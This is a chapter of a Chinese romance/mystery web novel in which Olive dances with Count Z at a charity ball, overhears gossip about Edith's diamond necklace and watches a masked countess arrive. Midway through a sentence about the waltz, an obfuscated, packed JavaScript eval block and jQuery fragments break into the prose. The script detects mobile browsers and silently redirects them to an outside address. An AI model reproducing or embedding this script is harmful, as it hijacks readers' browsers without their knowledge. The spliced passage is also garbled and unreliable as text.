11. 伯爵夫人

作品:《奥丽芙与伯爵大盗

    奥丽芙假装没注意,正巧,旁边的凯里夫人问了她一句话,她便扭头和几位太太谈起来。


    无非是某个人穿了什么样的裙子,或者打听穿着某条裙子的人是谁;有两三个太太低声细语:“她答应会来,要是不来,妇女联盟就要颜面扫地了。你知道,这里多一半人是为了看她。她可不能不给斯塔福德侯爵夫人面子。”


    “她会使杜德莱子爵夫人黯然失色的。”


    “何止子爵夫人,她能使大多数小姐们也黯然失色。”


    奥丽芙不知道她们嘴里这位受期待的人是谁。


    凯里夫人别过头,对奥丽芙说:“我看年轻姑娘里头,你的裙子最漂亮,当然,除了伊迪丝。是不是你们一起找克莱尔太太做的?”


    “我不知道,可能是吧。裙子确实是库珀先生送给我的。”奥丽芙回答。


    “哎呀,可不是我说,大多数男人根本意识不到姑娘们需要新裙子,库珀先生真是再细心没有了。”


    一位男士从旁走过,轻蔑地哼了一声。奥丽芙听见,扭头瞧去,待看清那人,也就立即明白了谁是他表示不屑的对象。


    虽说完全没道理心虚,奥丽芙脸不禁一热,胸中升起一股气恼之情。


    她现在是布莱克小姐,库珀先生的教女。她从富有且慷慨大方的库珀先生手里接受一件礼物,欣然穿上它参加舞会,这应该不算招人非议的行为吧?再者,即便有什么欠考虑之处,也轮不到Z伯爵小题大做。


    Z伯爵走出几步,忽然收住脚,转身回来:“小姐,你愿意和我跳四对舞吗?”


    这倒让奥丽芙有点意外,但她一转眼睛,看见伊迪丝正被一位昂首挺胸的男士领着走入舞池,再看男士的身形发色,分明是范德梅尔,这时候,她差点也对Z伯爵哼一声。


    凯里夫人在旁笑呵呵说:“对嘛,哪能让漂亮的小姐干坐着,特别是她还穿了这么美的跳舞裙子。——去吧去吧,先坐一会儿。”


    后一句是指他们两人赶不上这一场的情况而言。舞池中,四组人已经列好了队,正预备跟随音乐开始动作。除了伊迪丝和范德梅尔,奥丽芙大致也认得出其他几对,里面有杜德莱子爵夫人,还有斯塔福德侯爵小姐——她的母亲斯塔福德侯爵夫人是“美丽世界妇女联盟”的主席。总之,这些人差不多都身份高贵,理所应当拥有跳开头两支舞的殊荣。


    奥丽芙已把气恼压下去了。Z伯爵怎么看她无关紧要,她的任务是看透Z伯爵。与他跳舞也好,闲聊也好,她都责无旁贷。奥丽芙对Z伯爵微微一笑,和他走去那些等待上场的姑娘们旁边,找个位子坐下。


    经过几位小姐时,她们的对话飘进耳中:


    “凭什么让她跳打头一场?”


    “凭她姓库珀,她父亲像巴尔扎克笔下的箍桶匠(cooper)一样有钱。”库珀先生和作家塑造的暴发户葛朗台是彻头彻尾两种人,很多姓氏都源于职业,拿来开玩笑根本没意思,奥丽芙想。但这个不太高级的双关却在姑娘中博得了一阵笑声。


    另一人说:“她肯定忘了这是场慈善舞会——有人吃不起面包,她却戴了比栗子还大的钻石炫耀。”


    奥丽芙认出最后这个声音是霍尔小姐,伊迪丝的一位朋友——还是她的朋友!


    库珀先生为妇女联盟捐献的款子比谁都多,而伊迪丝为游园会忙前忙后,废寝忘食。可她们看见伊迪丝戴一条项链就要不满,这些浅薄无聊的长嘴婆。奥丽芙顿住脚。


    Z伯爵看她一眼,用相当大的声音说:“小姐,你的裙子真是美丽极了,你穿着尤其合适。我很喜欢看女孩子大大方方穿戴华美的衣饰——两方面都会增色。我认为,这当然是件值得自豪的事,你认为呢?”


    他的话语是在驳斥那几人,他的眼睛同时看着奥丽芙,又悄悄地为自己刚才的无礼请求谅解。


    几位小姐讪讪地住了嘴。


    奥丽芙心里挺高兴。既然Z伯爵对伊迪丝的看法是正确的,她也就不太介意别的了。她一面坐下,一面笑着说:“要两方面都增色,只有像库珀小姐那样既又大方又文雅的姑娘才行。”


    “你当然也是。”停了停,Z伯爵又说,“库珀小姐的那条项链的确引人注目,我认为它非常美丽,让人挪不开眼。”


    这是解释他不久前盯住伊迪丝不放的失态举止。


    不管怎样他帮伊迪丝说了话,这大概就是悔改的苗头。奥丽芙说:“那是她母亲的项链。库珀小姐说她母亲在世时,常常帮助穷苦的人,她在今天戴这条项链,是为了纪念她母亲。”


    “你一定也很想念你的母亲吧。”Z伯爵很温和地说。


    奥丽芙眼睛一潮。父亲去世后,除过姨妈,她还没和任何人谈过母亲,甚至在库珀先生面前也没说过。只有那回,Z伯爵捡到项链,看见了母亲的画像。是不是这个缘故,他的语调才格外地令她触动?她又想起,Z伯爵很小就失去父母,成了孤儿。


    Z伯爵仿佛看出了奥丽芙的想法,嘴角立即又显出那种不屑的弧线:“至于我自己,我认为离开就是离开,我从不想念任何人。只有你们女人才会多愁善感。”


    奥丽芙惊诧地看了他一眼,什么样的人会把对母亲的怀念称作“多愁善感”?


    Z伯爵满不在乎。他也就刚才“绅士”了那么一会儿,这当儿,他丢开奥丽芙不顾,四下里打量,甚至拿出一只看戏用的黄铜小望远镜,大模大样举在眼前,放肆地向人群中窥看。


    奥丽芙有充分理由怀疑他在关注女士们露出的脖子和手臂,可没想到的是,Z伯爵边看边微微摇头,仿佛所见到的还颇入不了他的眼。奥丽芙暗骂:无耻,下流!


    她正要起身走开,Z伯爵放下望远镜,目光移向她:“我发现——”


    就在这时,乐曲停歇,舞池里的人纷纷走下来,原来两只曲子已经跳完。四对舞一次有四对男女同时跳,可在场的人多着呢,所以,跳完两曲会换一拨,司仪示意等候的人上场。


    Z伯爵一跃而起,冲奥丽芙笑道:“别的事情放一放,先来跳舞吧。”


    奥丽芙喜欢跳舞,在和父亲游历欧洲各国的日子,她曾在城堡冷森森的大厅中,和神情庄重的主人像天鹅般舒缓地划着圈;也曾在乡村谷仓边的空地上,伴着手风琴和铃鼓,一手拎着裙子,一手高扬,和身着背心、喜气洋洋的庄稼汉面对面旋转。


    而Z伯爵的舞步,兼具贵族的优雅与农夫小伙子的伶俐——还是更像庄稼汉一些,他跳得疯狂极了,仿佛舞蹈不必遵从固定的模式和动作,只要像从篝火中飞溅而出的火星就行。


    长久以来第一次,奥丽芙又成了一个渴望玩乐的姑娘,她把别的一切都忘了。


    直到Z伯爵将她送回座位,奥丽芙才回过神。她听见Z伯爵说:“现在是热身,等会儿我们再跳华尔兹。”说完他转身不见了。


    Z伯爵离开后,舞会上的其他年轻人纷纷来请奥丽芙跳舞,好容易,她坐下休息了一会儿。可华尔兹的音乐又响起了,像前几回一样,奥丽芙不由自主地向人群中寻找。


    此时,华尔兹已经在欧洲风靡许久,但这次的慈善舞会为尊重昔日宫廷舞会的习惯,仍以四对舞作为开场,中间多种类型的舞蹈交替,最后会以华尔兹作为结束。


    跳四对舞时,舞伴之间面对面,很少有身体碰触,可是华尔兹不同,男士要扶住女士的腰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922034|192595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,女士则手搭在男士臂上——在它流行之初,这种“搂搂抱抱”的舞姿曾被认为“有伤风化”。


    其实,它更考验舞伴之间的配合,要是有一人舞步笨拙,整体效果就不太好看。


    正在跳舞的人当中,当数伊迪丝跳得最好,甚至可以引导舞伴。与她共舞的青年本来对自己的舞步不大自信,可跳着跳着,便也流畅起来,那个人是德·雷斯托。


    奥丽芙正欣赏别人跳舞,范德梅尔不知从哪儿挤出来,在她身边一屁股坐下,扬手让侍者送来饮料,脱下手套,端起杯子喝了一大口,自言自语道:“和胖女人跳舞真够累的。”


    发完这句不厚道的评论,他向奥丽芙转过脸:“你要是知道我刚才和谁跳,就会同情我了。”


    奥丽芙知道,是布兰登公爵夫人。据凯里夫人说,布兰登公爵为协会捐了五百英镑,但他身为外交大臣,在公事上应酬很多,因此平时能休息则休息,怎么也不肯来参加舞会,只请夫人代劳。


    之前有一场舞,奥丽芙在舞池中遇到了范德梅尔,看见他艰难地拖着体重超过一百五十磅的公爵夫人。对他可真够难的——本来范德梅尔是那种满心里只有自己漂不漂亮潇不潇洒的男人,除非舞伴是伊迪丝,才会关注一下,他怎么可能有耐心敷衍公爵夫人,无非是想巴结公爵,不得不经受“考验”吧。


    奥丽芙在心里好笑,但她什么也没说。大概正因她给人嘴巴严的印象,范德梅尔才愿意向她“吐露心声”。


    范德梅尔向舞池望了片刻,又开了口:“德·雷斯托那个可怜的家伙,除了库珀小姐,他再不会和别人跳华尔兹。不能怪他,库珀小姐是舞会当之无愧的女王,她那颗钻石,正是女王戴在脖子上的。”


    说完,他转头等奥丽芙附和,好像突然发现她也是位年轻小姐,连忙笑道:“可是我和德·雷斯托不同,我至少很愿意与舞厅中第二美丽的姑娘跳舞。”


    奥丽芙看出范德梅尔说的并非真心话,她自己也不想跳,便说:“要是你不介意的话,我还想再坐一会儿。”


    “当然,当然。”范德梅尔向后靠在椅背上。


    没多大工夫,他忽然坐直了身体,伸长脖子朝大厅入口望去。


    奥丽芙不由好奇,也望过去,正好看见一位女郎不紧不慢地走进来:她身着黑色长裙,肩部连同整条袖子都是由精美无比的花边勾成的,裙子的下摆也同样缀着贵重的花边,小粒的玻璃珠和贝母挂在上面,像叶片上挂着的水珠一般,随着她的步子,荡漾出细微的光芒。她戴着黑手套的手握着一把黑色折扇,她的面罩是用黑天鹅的羽毛做的,面罩之上,金色的头发编成两条发辫绕在头顶,像一顶闪闪发光的冠冕。


    “伯爵夫人。”奥丽芙听见范德梅尔用荷兰语喃喃道,同时她也明白,这正是刚才几位太太谈论的那位夫人。


    奥丽芙的眼睛没法不盯着伯爵夫人,好一时才能移开,这时她才注意到,伯爵夫人身边还有一位身材魁伟的先生。虽然戴着面罩,但能看出来这位先生样貌堂堂,可配身旁的贵夫人,似乎还是让人感到有点不足。


    在这两人之后,又跟着一位同样身材高大的青年人,伴着一位瘦削、略显疲态的女士,再之后,独自走着的是个高个儿、肤色苍白的姑娘。奥丽芙从那青年重而拖沓的步态上认出他是小默顿,然后才醒悟走在前面的是他父亲,默顿公爵,和他并排的是他母亲,而后面跟着的是他的妹妹,公爵小姐。


    奥丽芙第一次见到小默顿的家人,本来该仔细瞧瞧,不过,她还是对伯爵夫人更感兴趣。


    “伯爵夫人姓什么?”她问范德梅尔,可是范德梅尔已经站起身,向着那群人迎过去了。